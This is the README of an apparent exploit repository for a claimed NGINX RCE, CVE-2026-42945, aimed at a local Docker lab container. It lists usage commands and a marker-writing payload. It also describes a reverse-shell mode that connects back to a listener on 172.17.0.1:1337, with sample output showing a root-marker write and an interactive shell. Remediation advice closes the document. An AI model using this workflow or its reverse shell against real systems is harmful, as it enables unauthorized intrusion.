⚠️ Aviso Ético e Legal Esta ferramenta é apenas para testes de segurança legítimos e autorizados — pentest contratado, lab/CTF ou ativos próprios. O uso sem autorização do proprietário do sistema é crime (UU ITE, Computer Fraud and Abuse Act, etc.). O usuário é totalmente responsável pelo seu uso.

📖 Resumo da Vulnerabilidade

CVE-2026-42945 é uma vulnerabilidade de Remote Code Execution (RCE) na configuração NGINX "Rift" — um bug de heap-based buffer overflow no módulo ngx_http_rewrite_module acionado através de um location block específico (/api/users/...). O impacto é que o atacante pode executar comandos via handler system() dentro do container.

Este repositório contém 2 componentes:

🏗 Fluxo de Trabalho

┌─────────────────────────────┐
│         scan.sh             │
│  Mode: auto / cmd / shell   │
└─────────────┬───────────────┘
              ▼
      [0] Preflight
      cek docker, curl, python3,
      nc, timeout + poc.py ada
              ▼
      [1] Verifikasi Target
      docker ps (label compose)
      → curl /api/users/42 (HTTP 200)
              ▼
      [2] PoC --cmd (max 3× retry)
      python3 poc.py --cmd 'echo hello
      from depthfirst > /tmp/pwned'
              │
              ▼ (timeout 300s per attempt)
      Verifikasi ground-truth:
      docker exec cat /tmp/pwned
              ▼
      [3] PoC --shell (opsional)
      listener 172.17.0.1:1337
      → prompt /bin/sh interaktif

⚙️ Requisitos do Sistema

Operador (host onde o script é executado):

• Linux (bash) — testado no Kali / Ubuntu / Debian
• docker (com sudo ou usuário no grupo docker)
• python3 + poc.py (no mesmo diretório que scan.sh)
• curl, nc (netcat), timeout (coreutils)

Alvo (lab):

• Container nginx-rift em execução (provisionamento via docker compose)
• Porta do host 19321 aberta em 127.0.0.1
• Container conectado ao Docker bridge (padrão 172.17.0.1 para o listener do host)

📥 Instalação

# 1. Clone
git clone https://github.com/Kentox493/CVE-2026-42945_NginxRift.git
cd CVE-2026-42945_NginxRift

# 2. Pastikan executable
chmod +x scan.sh

# 3. (Opsional) Verifikasi dependensi
command -v docker python3 curl nc timeout

scan.sh e poc.py devem estar no mesmo diretório.

🚀 Como Usar

./scan.sh          # alur lengkap (default: auto)
./scan.sh cmd      # hanya PoC single-command + verifikasi marker
./scan.sh shell    # langsung reverse-shell interaktif
./scan.sh help     # tampilkan bantuan

Modo auto (padrão)

1. Preflight — verifica todas as dependências.
2. Verificação do alvo — container no ar? HTTP 200?
3. PoC --cmd — escreve o marker hello from depthfirst em /tmp/pwned dentro do container (retry automático máx. 3×, timeout de 300s/tentativa).
4. Verificação do resultado — docker exec cat /tmp/pwned deve conter o marker (ground-truth, não apenas a leitura da saída).
5. Prompt continuar para a reverse-shell? → y para a sessão interativa.

Modo shell

./scan.sh shell

Executa poc.py --shell com listener 172.17.0.1:1337. Após o brute-force bem-sucedido, você obtém um prompt /bin/sh interativo como o usuário worker do NGINX dentro do container.

Nota: O IP 172.17.0.1 é o endereço do host no Docker bridge padrão. Se o seu bridge for diferente (docker network inspect bridge), altere a variável LISTEN_IP no topo do scan.sh.

🔧 Configuração Ajustável

Todos os parâmetros ficam reunidos no bloco de configuração no topo do scan.sh:

📸 Exemplo de Saída

┌──────────────────────────────────────────────────────────────┐
│  NGINX RIFT · CVE-2026-42945 · PoC Automation Driver  │
└──────────────────────────────────────────────────────────────┘

── 0 ── Preflight
[+] Semua dependensi tersedia (docker, curl, python3, nc, timeout, poc.py)

── 1 ── Verifikasi Container & Target
[+] Container 'nginx-rift-nginx-1' berjalan
[+] Target responsif (HTTP 200): http://127.0.0.1:19321/api/users/42

── 2 ── PoC Single-Command (--cmd)
[i] Payload : echo hello from depthfirst > /tmp/pwned
[i] Target  : 127.0.0.1:19321
[!] Percobaan 1/3 — brute-force loop berjalan (timeout 300s)...

[*] trying offset 0x8a0
[*] crashed - system("...") executed
[i] Percobaan 1 selesai dalam 42 detik (rc=0)
[+] Exploit BERHASIL — marker terverifikasi: 'hello from depthfirst' (milik root)

[?] Lanjut ke reverse-shell interaktif? [y/N]: y

── 3 ── PoC Reverse-Shell (--shell)
[i] Reverse shell akan terhubung ke 172.17.0.1:1337
[i] poc.py membuka listener netcat lokal lalu menjalankan brute-force

[+] Connection from 172.18.0.2:49312
/bin/sh: 0# id
uid=1000(nginx) gid=1000(nginx) groups=1000(nginx)

🛠 Solução de Problemas

🛡 Remediação (para o Blue Team)

1. Patch no NGINX — atualize para a versão que corrige o ngx_http_rewrite_module / remova a configuração Rift.
2. Limite a exposição — não exponha a porta do container para 0.0.0.0; use rede interna + reverse proxy com WAF.
3. Menor privilégio — execute o worker do NGINX sem privilégios adicionais; não suba o container com --privileged.
4. Monitoramento — alerte sobre requisições suspeitas para /api/users/ (padrão não numérico, payload longo), detecte o spawn de /bin/sh a partir do processo nginx.
5. Segmentação de rede — isole o bridge do container do host; limite o egress do container para dificultar a reverse shell.

📁 Estrutura do Repositório

CVE-2026-42945_NginxRift/
├── scan.sh     # Automation orchestrator (bash) — verifikasi, PoC, verifikasi marker, shell
├── poc.py      # Exploit driver (python) — brute-force heap offset, mode --cmd / --shell
└── README.md   # Dokumentasi ini

⚖️ Aviso Legal & Licença

Apenas para uso legítimo. Esta ferramenta destina-se a:

• Professional penetration testing (contrato escrito)
• Security research & responsible disclosure
• Ambiente de lab / CTF

Você deve ter autorização por escrito do proprietário do sistema antes de executar esta ferramenta em qualquer infraestrutura.

O repositório é fornecido "as-is" sem qualquer garantia. Os contribuidores não se responsabilizam pelo uso indevido.

Licença: MIT

📚 Referências

• CVE-2026-42945 — NVD / MITRE
• NGINX ngx_http_rewrite_module — documentação oficial
• Docker Compose — documentação